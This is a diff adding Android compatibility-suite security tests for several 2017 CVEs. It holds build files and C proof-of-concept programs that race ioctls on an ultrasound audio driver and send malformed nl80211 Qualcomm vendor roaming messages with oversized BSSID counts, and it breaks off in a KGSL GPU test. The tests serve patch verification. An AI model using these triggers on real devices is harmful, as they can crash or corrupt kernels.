+#define USF_KEYBOARD_EVENT_IND 3
+#define USF_TSC_EXT_EVENT_IND 4
+#define USF_MAX_EVENT_IND 5
+
+/* Types of events, produced by the calculators */
+#define USF_NO_EVENT 0
+#define USF_TSC_EVENT (1 << USF_TSC_EVENT_IND)
+#define USF_TSC_PTR_EVENT (1 << USF_TSC_PTR_EVENT_IND)
+#define USF_MOUSE_EVENT (1 << USF_MOUSE_EVENT_IND)
+#define USF_KEYBOARD_EVENT (1 << USF_KEYBOARD_EVENT_IND)
+#define USF_TSC_EXT_EVENT (1 << USF_TSC_EXT_EVENT_IND)
+#define USF_ALL_EVENTS \
+ (USF_TSC_EVENT | USF_TSC_PTR_EVENT | USF_MOUSE_EVENT | USF_KEYBOARD_EVENT | \
+ USF_TSC_EXT_EVENT)
+void *child_ioctl_0(void *no_use);
+void *child_ioctl_1(void *no_use);
+
+/* Info structure common for TX and RX */
+struct us_xx_info_type {
+ /* Input: general info */
+ /* Name of the client - event calculator */
+ const char __user *client_name;
+ /* Selected device identification, accepted in the kernel's CAD */
+ uint32_t dev_id;
+ /* 0 - point_epos type; (e.g. 1 - gr_mmrd) */
+ uint32_t stream_format;
+ /* Required sample rate in Hz */
+ uint32_t sample_rate;
+ /* Size of a buffer (bytes) for US data transfer between the module and USF */
+ uint32_t buf_size;
+ /* Number of the buffers for the US data transfer */
+ uint16_t buf_num;
+ /* Number of the microphones (TX) or speakers(RX) */
+ uint16_t port_cnt;
+ /* Microphones(TX) or speakers(RX) indexes in their enumeration */
+ uint8_t port_id[USF_MAX_PORT_NUM];
+ /* Bits per sample 16 or 32 */
+ uint16_t bits_per_sample;
+ /* Input: Transparent info for encoder in the LPASS */
+ /* Parameters data size in bytes */
+ uint16_t params_data_size;
+ /* Pointer to the parameters */
+ uint8_t __user *params_data;
+ /* Max size of buffer for get and set parameter */
+ uint32_t max_get_set_param_buf_size;
+};
+
+struct us_input_info_type {
+ /* Touch screen dimensions: min & max;for input module */
+ int tsc_x_dim[MIN_MAX_DIM];
+ int tsc_y_dim[MIN_MAX_DIM];
+ int tsc_z_dim[MIN_MAX_DIM];
+ /* Touch screen tilt dimensions: min & max;for input module */
+ int tsc_x_tilt[MIN_MAX_DIM];
+ int tsc_y_tilt[MIN_MAX_DIM];
+ /* Touch screen pressure limits: min & max; for input module */
+ int tsc_pressure[MIN_MAX_DIM];
+ /* The requested buttons bitmap */
+ uint16_t req_buttons_bitmap;
+ /* Bitmap of types of events (USF_X_EVENT), produced by calculator */
+ uint16_t event_types;
+ /* Bitmap of types of events from devs, conflicting with USF */
+ uint16_t conflicting_event_types;
+};
+
+struct us_tx_info_type {
+ /* Common info */
+ struct us_xx_info_type us_xx_info;
+ /* Info specific for TX*/
+ struct us_input_info_type input_info;
+};
+
+struct us_rx_info_type {
+ /* Common info */
+ struct us_xx_info_type us_xx_info;
+ /* Info specific for RX*/
+};
+
+struct us_stream_param_type {
+ /* Id of module */
+ uint32_t module_id;
+ /* Id of parameter */
+ uint32_t param_id;
+ /* Size of memory of the parameter buffer */
+ uint32_t buf_size;
+ /* Pointer to the memory of the parameter buffer */
+ uint8_t __user *pbuf;
+};
+
+#define USF_IOCTL_MAGIC 'U'
+
+#define US_SET_TX_INFO _IOW(USF_IOCTL_MAGIC, 0, struct us_tx_info_type)
+#define US_START_TX _IO(USF_IOCTL_MAGIC, 1)
+#define US_GET_TX_UPDATE \
+ _IOWR(USF_IOCTL_MAGIC, 2, struct us_tx_update_info_type)
+#define US_SET_RX_INFO _IOW(USF_IOCTL_MAGIC, 3, struct us_rx_info_type)
+#define US_SET_RX_UPDATE \
+ _IOWR(USF_IOCTL_MAGIC, 4, struct us_rx_update_info_type)
+#define US_START_RX _IO(USF_IOCTL_MAGIC, 5)
+
+#define US_STOP_TX _IO(USF_IOCTL_MAGIC, 6)
+#define US_STOP_RX _IO(USF_IOCTL_MAGIC, 7)
+
+#define US_SET_TX_STREAM_PARAM \
+ _IOW(USF_IOCTL_MAGIC, 10, struct us_stream_param_type)
+#define US_GET_TX_STREAM_PARAM \
+ _IOWR(USF_IOCTL_MAGIC, 11, struct us_stream_param_type)
+#define US_SET_RX_STREAM_PARAM \
+ _IOW(USF_IOCTL_MAGIC, 12, struct us_stream_param_type)
+#define US_GET_RX_STREAM_PARAM \
+ _IOWR(USF_IOCTL_MAGIC, 13, struct us_stream_param_type)
+
+int fd;
+pthread_t thread_id[THREAD_NUM + 1] = {0};
+int thread_ret[THREAD_NUM] = {0};
+
+// RX configuration
+static struct us_rx_info_type s_rx_info;
+static struct us_rx_info_type s_rx_info1;
+
+static void set_valid_rx_configuration(void);
+static void set_valid_rx_configuration_for_fail(void);
+
+static void set_valid_rx_configuration() {
+ typedef struct {
+ unsigned short frameSize;
+ unsigned short groupFactor;
+ } TransparentDataRxType;
+ static TransparentDataRxType transparentRxData;
+ unsigned short frame_size = 0;
+
+ transparentRxData.frameSize = PortSamplesDataSize;
+ transparentRxData.groupFactor = 1;
+
+ s_rx_info.us_xx_info.client_name = "tester";
+ s_rx_info.us_xx_info.dev_id = 0;
+ s_rx_info.us_xx_info.stream_format = USF_RAW_FORMAT;
+ s_rx_info.us_xx_info.sample_rate = 96000;
+ s_rx_info.us_xx_info.buf_num = 3;
+ s_rx_info.us_xx_info.port_cnt = 1;
+ s_rx_info.us_xx_info.port_id[0] = 1;
+ s_rx_info.us_xx_info.bits_per_sample = 16;
+ s_rx_info.us_xx_info.params_data_size = sizeof(TransparentDataRxType);
+ s_rx_info.us_xx_info.params_data = (unsigned char*)&transparentRxData;
+
+ frame_size = PortSamplesDataSize *
+ (s_rx_info.us_xx_info.bits_per_sample / 8) *
+ s_rx_info.us_xx_info.port_cnt;
+ // group size
+ s_rx_info.us_xx_info.buf_size = frame_size * transparentRxData.groupFactor;
+} // set_valid_rx_configuration
+
+static void set_valid_rx_configuration_for_fail() {
+ typedef struct {
+ unsigned short frameSize;
+ unsigned short groupFactor;
+ } TransparentDataRxType;
+ static TransparentDataRxType transparentRxData;
+ unsigned short frame_size = 0;
+
+ transparentRxData.frameSize = PortSamplesDataSize;
+ transparentRxData.groupFactor = 1;
+
+ s_rx_info1.us_xx_info.client_name = "tester";
+ s_rx_info1.us_xx_info.dev_id = 0;
+ s_rx_info1.us_xx_info.stream_format = USF_RAW_FORMAT;
+ s_rx_info1.us_xx_info.sample_rate = 96000;
+ s_rx_info1.us_xx_info.buf_num = 3;
+ s_rx_info1.us_xx_info.port_cnt = 1;
+ s_rx_info1.us_xx_info.port_id[0] = 1;
+ s_rx_info1.us_xx_info.bits_per_sample = 16;
+ s_rx_info1.us_xx_info.params_data_size = sizeof(TransparentDataRxType);
+
+ frame_size = PortSamplesDataSize *
+ (s_rx_info1.us_xx_info.bits_per_sample / 8) *
+ s_rx_info1.us_xx_info.port_cnt;
+ // group size
+ s_rx_info1.us_xx_info.buf_size = frame_size * transparentRxData.groupFactor;
+ // for fail
+ s_rx_info1.us_xx_info.max_get_set_param_buf_size = (uint32_t) 100000000000000;
+} // set_valid_rx_configuration
+
+
+static int set_affinity(int num) {
+ int ret = 0;
+ cpu_set_t mask;
+ CPU_ZERO(&mask);
+ CPU_SET(num, &mask);
+ ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+ if (ret == -1) {
+ printf("[-] set affinity failed: [%d]-%s\n", errno, strerror(errno));
+ }
+ return ret;
+}
+
+void *child_ioctl_0(void *no_use) {
+ int ret = 1;
+ set_affinity(1);
+
+ while (1) {
+ ret = ioctl(fd, US_SET_RX_INFO, &s_rx_info1);
+ }
+}
+
+void* child_ioctl_1(void* no_use) {
+ int ret = 1;
+ set_affinity(2);
+
+ while (1) {
+ ret = ioctl(fd, US_SET_RX_INFO, &s_rx_info1);
+ }
+}
+
+int main() {
+ int i, ret;
+
+ /* bind_cpu */
+ set_affinity(0);
+
+ set_valid_rx_configuration();
+ set_valid_rx_configuration_for_fail();
+
+ /* open dev */
+ fd = open(DEV, O_RDONLY);
+ if (fd == -1) {
+ return 0;
+ }
+
+ /* create thread */
+ for (i = 0; i < THREAD_NUM; i = i + 2) {
+ thread_ret[i] = pthread_create(thread_id + i, NULL, child_ioctl_0, NULL);
+ thread_ret[i + 1] =
+ pthread_create(thread_id + i + 1, NULL, child_ioctl_1, NULL);
+ }
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0437/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0437/Android.mk
new file mode 100644
index 0000000..12197cd
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0437/Android.mk
@@ -0,0 +1,43 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0437
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES:= \
+ $(TOP)/external/libnl/include/ \
+ $(TOP)/external/libnl/lib/ \
+
+LOCAL_SHARED_LIBRARIES:= libnl
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0437/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0437/poc.c
new file mode 100644
index 0000000..aa82a63
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0437/poc.c
@@ -0,0 +1,168 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/wait.h>
+#include <dlfcn.h>
+#include <errno.h>
+#include <limits.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <jni.h>
+#include <android/log.h>
+#include <sys/socket.h>
+#include <linux/netlink.h>
+#include <linux/genetlink.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <dirent.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/ioctl.h>
+#include <net/if.h>
+#include <sys/types.h> /* See NOTES */
+#include <netlink/msg.h>
+#include <netlink/genl/genl.h>
+#include <netlink/genl/ctrl.h>
+#include <linux/nl80211.h>
+
+#define MAX_MSG_SIZE 4096
+#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
+#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
+
+#define NL80211_ATTR_MAC 6
+#define ETH_ALEN 6
+#define NL80211_ATTR_IFINDEX 3
+#define QCA_NL80211_VENDOR_ID 0x001374
+
+#define QCA_NL80211_VENDOR_SUBCMD_ROAM 64
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD 1
+#define QCA_WLAN_VENDOR_ATTR_ROAM_SUBCMD_SET_BSSID_PREFS 4
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID 2
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS 14
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_NUM_BSSID 15
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_BSSID 16
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_RSSI_MODIFIER 17
+int test(void);
+int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
+ u_int8_t genl_version);
+
+typedef char tSirMacAddr[6];
+struct nl_sock *nl_sk;
+int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
+ u_int8_t genl_version) {
+ struct nl_msg *msg;
+ int ret = -1;
+ unsigned char dst[ETH_ALEN];
+ struct nlattr *rret;
+ struct nlattr *rret2;
+ struct nlattr *rret3;
+ unsigned char oper_classes[253];
+ int i = 0;
+ tSirMacAddr mac_in;
+ unsigned char hb_params[512];
+
+ struct nl80211_sta_flag_update flags;
+ msg = nlmsg_alloc();
+ int if_index = if_nametoindex("wlan0");
+
+ genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
+ nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
+ nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, QCA_NL80211_VENDOR_ID);
+ nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, QCA_NL80211_VENDOR_SUBCMD_ROAM);
+
+ rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
+
+ if (!rret) {
+ return 1;
+ }
+ nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD,
+ QCA_WLAN_VENDOR_ATTR_ROAM_SUBCMD_SET_BSSID_PREFS);
+
+ nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID, 123);
+ nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_NUM_BSSID,
+ 0xffffffff);
+
+ rret2 =
+ nla_nest_start(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS);
+ if (!rret2) {
+ perror("nla_nest_start2");
+ return 1;
+ }
+
+ for (i = 0; i < 64; ++i) {
+ rret3 =
+ nla_nest_start(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS);
+ if (!rret3) {
+ perror("nla_nest_start3");
+ return 1;
+ }
+
+ nla_put(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_BSSID,
+ sizeof(mac_in), &mac_in);
+ nla_put_u32(msg,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_RSSI_MODIFIER,
+ 0xdeadbeed);
+ nla_nest_end(msg, rret3);
+ }
+
+ nla_nest_end(msg, rret2);
+ nla_nest_end(msg, rret);
+ ret = nl_send_auto_complete(nl_sk, msg);
+
+ return 0;
+}
+
+#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
+#define AID_NET_RAW 3004 /* can create raw INET sockets */
+#define AID_NET_ADMIN 3005
+
+int test() {
+ int fd = 0;
+ int i = 0;
+ int j = 0;
+ int ret = 0;
+ char *mem;
+ int family_id = 0;
+ struct audio_cal_basic *acb;
+ struct sockaddr_nl saddr;
+ int test = 0x1234;
+ if (getuid() != 0) {
+ return -1;
+ }
+
+ gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
+ setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
+
+ setuid(2000);
+
+ nl_sk = nl_socket_alloc();
+ ret = genl_connect(nl_sk);
+ if (ret != 0) {
+ return -1;
+ }
+
+ family_id = genl_ctrl_resolve(nl_sk, "nl80211");
+
+#define NL80211_CMD_GET_WIPHY 1
+#define NL80211_CMD_SET_STATION 18
+
+ ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
+ return 0;
+}
+
+int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0438/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0438/Android.mk
new file mode 100644
index 0000000..37bca2e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0438/Android.mk
@@ -0,0 +1,43 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0438
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES:= \
+ $(TOP)/external/libnl/include/ \
+ $(TOP)/external/libnl/lib/ \
+
+LOCAL_SHARED_LIBRARIES:= libnl
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0438/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0438/poc.c
new file mode 100644
index 0000000..3b1b7d1
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0438/poc.c
@@ -0,0 +1,167 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <dlfcn.h>
+#include <limits.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <jni.h>
+#include <android/log.h>
+#include <sys/socket.h>
+#include <linux/netlink.h>
+#include <linux/genetlink.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <dirent.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/ioctl.h>
+#include <net/if.h>
+#include <sys/types.h> /* See NOTES */
+#include <netlink/msg.h>
+#include <netlink/genl/genl.h>
+#include <netlink/genl/ctrl.h>
+#include <linux/nl80211.h>
+
+#define MAX_MSG_SIZE 4096
+#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
+#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
+
+#define NL80211_ATTR_MAC 6
+#define ETH_ALEN 6
+#define NL80211_ATTR_IFINDEX 3
+#define QCA_NL80211_VENDOR_ID 0x001374
+
+#define QCA_NL80211_VENDOR_SUBCMD_ROAM 64
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD 1
+#define QCA_WLAN_VENDOR_ATTR_ROAM_SUBCMD_SET_BSSID_PREFS 4
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID 2
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS 14
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_NUM_BSSID 15
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_BSSID 16
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_RSSI_MODIFIER 17
+#define QCA_WLAN_VENDOR_ATTR_ROAM_SUBCMD_SET_BLACKLIST_BSSID 6
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS 18
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_NUM_BSSID 19
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_BSSID 20
+typedef char tSirMacAddr[6];
+struct nl_sock *nl_sk;
+int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
+ u_int8_t genl_version);
+int test(void);
+
+int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
+ u_int8_t genl_version) {
+ struct nl_msg *msg;
+ int ret = -1;
+ unsigned char dst[ETH_ALEN];
+ struct nlattr *rret;
+ struct nlattr *rret2;
+ struct nlattr *rret3;
+ unsigned char oper_classes[253];
+ int i = 0;
+ tSirMacAddr mac_in;
+ unsigned char hb_params[512];
+
+ struct nl80211_sta_flag_update flags;
+ msg = nlmsg_alloc();
+ int if_index = if_nametoindex("wlan0");
+
+ genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
+ nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
+ nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, QCA_NL80211_VENDOR_ID);
+ nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, QCA_NL80211_VENDOR_SUBCMD_ROAM);
+
+ rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
+
+ if (!rret) {
+ return 1;
+ }
+ nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID, 123);
+ nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD,
+ QCA_WLAN_VENDOR_ATTR_ROAM_SUBCMD_SET_BLACKLIST_BSSID);
+
+ nla_put_u32(msg,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_NUM_BSSID,
+ 0xffffffff);
+
+ rret2 =
+ nla_nest_start(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS);
+ if (!rret2) {
+ return 1;
+ }
+
+ for (i = 0; i < 64; ++i) {
+ rret3 = nla_nest_start(msg,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS);
+ if (!rret3) {
+ return 1;
+ }
+ nla_put(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_BSSID,
+ sizeof(mac_in), &mac_in);
+ nla_nest_end(msg, rret3);
+ }
+
+ nla_nest_end(msg, rret2);
+ nla_nest_end(msg, rret);
+
+ ret = nl_send_auto_complete(nl_sk, msg);
+
+ return 0;
+}
+
+#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
+#define AID_NET_RAW 3004 /* can create raw INET sockets */
+#define AID_NET_ADMIN 3005
+
+int test() {
+ int fd = 0;
+ int i = 0;
+ int j = 0;
+ int ret = 0;
+ char *mem;
+ int family_id = 0;
+ struct audio_cal_basic *acb;
+ struct sockaddr_nl saddr;
+ int test = 0x1234;
+ if (getuid() != 0) {
+ return -1;
+ }
+
+ gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
+ setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
+
+ setuid(2000);
+
+ nl_sk = nl_socket_alloc();
+ ret = genl_connect(nl_sk);
+ if (ret != 0) {
+ perror("genl_connect");
+ return -1;
+ }
+
+ family_id = genl_ctrl_resolve(nl_sk, "nl80211");
+
+#define NL80211_CMD_GET_WIPHY 1
+#define NL80211_CMD_SET_STATION 18
+
+ ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
+ return 0;
+}
+
+int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0441/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0441/Android.mk
new file mode 100644
index 0000000..f8fface
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0441/Android.mk
@@ -0,0 +1,43 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0441
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES:= \
+ $(TOP)/external/libnl/include/ \
+ $(TOP)/external/libnl/lib/ \
+
+LOCAL_SHARED_LIBRARIES:= libnl
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0441/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0441/poc.c
new file mode 100644
index 0000000..cb65ce4
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0441/poc.c
@@ -0,0 +1,206 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <dlfcn.h>
+#include <limits.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <jni.h>
+#include <android/log.h>
+#include <sys/socket.h>
+#include <linux/netlink.h>
+#include <linux/genetlink.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <dirent.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/ioctl.h>
+#include <net/if.h>
+#include <sys/types.h> /* See NOTES */
+#include <netlink/msg.h>
+#include <netlink/genl/genl.h>
+#include <netlink/genl/ctrl.h>
+#include <linux/nl80211.h>
+
+#define MAX_MSG_SIZE 1024
+#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
+#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
+
+#define KGSL_IOC_TYPE 0x09
+
+struct kgsl_perfcounter_query_compat {
+ unsigned int groupid;
+ unsigned int countables;
+ unsigned int count;
+ unsigned int max_counters;
+ unsigned int __pad[2];
+};
+struct kgsl_perfcounter_read_group {
+ unsigned int groupid;
+ unsigned int countable;
+ unsigned long long value;
+};
+#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
+ _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
+
+struct kgsl_perfcounter_read_compat {
+ unsigned int reads;
+ unsigned int count;
+ unsigned int __pad[2];
+};
+
